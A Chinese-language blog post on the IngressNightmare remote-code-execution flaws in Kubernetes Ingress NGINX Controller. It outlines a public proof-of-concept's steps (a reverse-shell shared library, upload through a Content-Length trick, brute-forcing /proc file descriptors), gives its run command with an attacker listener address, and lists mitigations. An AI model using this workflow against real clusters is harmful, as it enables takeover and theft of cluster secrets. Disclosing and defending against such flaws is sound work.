最近,一系列针对 Kubernetes 环境中广泛使用的 Ingress NGINX Controller 的严重漏洞被披露,它们被统称为 IngressNightmare。这些漏洞 (CVE-2025-1097, CVE-2025-1098, CVE-2025-24514, CVE-2025-1974) 可导致未经身份验证的远程代码执行 (RCE),进而可能泄露集群内的所有机密,甚至导致整个集群被完全接管。
最初的研究方 Wiz 团队并未提供可用的概念验证 (PoC) 代码,因此,安全社区出现了独立的验证项目。本文将深入分析这些漏洞的核心原理,并介绍一个公开的 PoC 利用流程。
漏洞概述
作为管理集群外部流量入口的关键组件,Ingress NGINX 控制器的准入控制器中存在的这些缺陷,本质上为攻击者打开了一扇危险的后门。攻击者无需任何身份验证,即可利用这些漏洞实施攻击,威胁等级极高。
漏洞利用工作流程
公开的 PoC 项目 (IngressNightmare-PoC) 主要遵循以下攻击步骤:
-
生成恶意共享对象:首先,攻击者需要编译一个包含反向 Shell Payload 的动态共享库 (例如 evil_engine.so)。这个库文件将被用于注入到 ssl_engine 属性中。
-
上传共享对象至目标:接下来,攻击者需要巧妙地将编译好的 .so 文件发送到目标 Ingress Controller 的 Pod 中。这里利用了一个技巧:通过发送与实际内容长度不符的 Content-Length 请求头,使服务器保持连接并维持对上传文件的文件描述符处于打开状态。
-
暴力破解文件描述符 (fd):由于无法直接获知上传的文件被分配了哪个文件描述符,攻击者需要遍历可能的进程 ID 和文件描述符路径 (/proc/{pid}/fd/{fd}),以定位并引用那个已被上传的恶意共享对象。
使用方法
先决条件:
- Python 3.x
- GCC 编译器
- Python
requests 模块
运行漏洞利用:
首先,安装所需的 Python 依赖:
pip3 install -r requirements.txt
然后,执行漏洞利用脚本:
python3 exploit.py <ingress_url> <admission_webhook_url> [attacker_host:port]
参数说明:
<ingress_url>:目标 Ingress 的公网访问地址。
<admission_webhook_url>:准入 Webhook 的内部服务地址。
attacker_host:port:攻击者用于接收反向 Shell 的监听地址和端口。
使用示例:
python3 exploit.py http://192.168.0.154 https://rke2-ingress-nginx-controller-admission.kube-system.svc:443 192.168.1.63:4444
注意:有时准入 Webhook 服务位于特定的命名空间(如 kube-system, default 或 ingress-nginx)下,其内部 DNS 地址会包含命名空间信息,示例中已体现这一点。
缓解措施
面对如此高风险的安全漏洞,集群管理员应立即采取行动:
- 立即更新:尽快将 Ingress NGINX Controller 升级到已修复的安全版本(即 1.12.1 或 1.11.5)。
- 网络隔离:严格限制对 Admission Webhook 服务的网络访问,确保仅允许 Kubernetes API 服务器与其通信。
- 临时禁用:如果因故无法立即升级,作为临时应对方案,可以考虑暂时禁用相关的准入控制器功能,但这会影响某些功能的完整性,需评估业务影响。
项目地址
完整的 PoC 代码、技术细节及更新可以在以下仓库找到:
https://github.com/hakaioffsec/IngressNightmare-PoC



感谢阅读。安全无小事,对于这类核心组件的漏洞,保持警惕并及时响应至关重要。如果你想了解更多关于云原生安全或与其他开发者交流实践经验,欢迎访问 云栈社区 的相关板块进行探讨。

|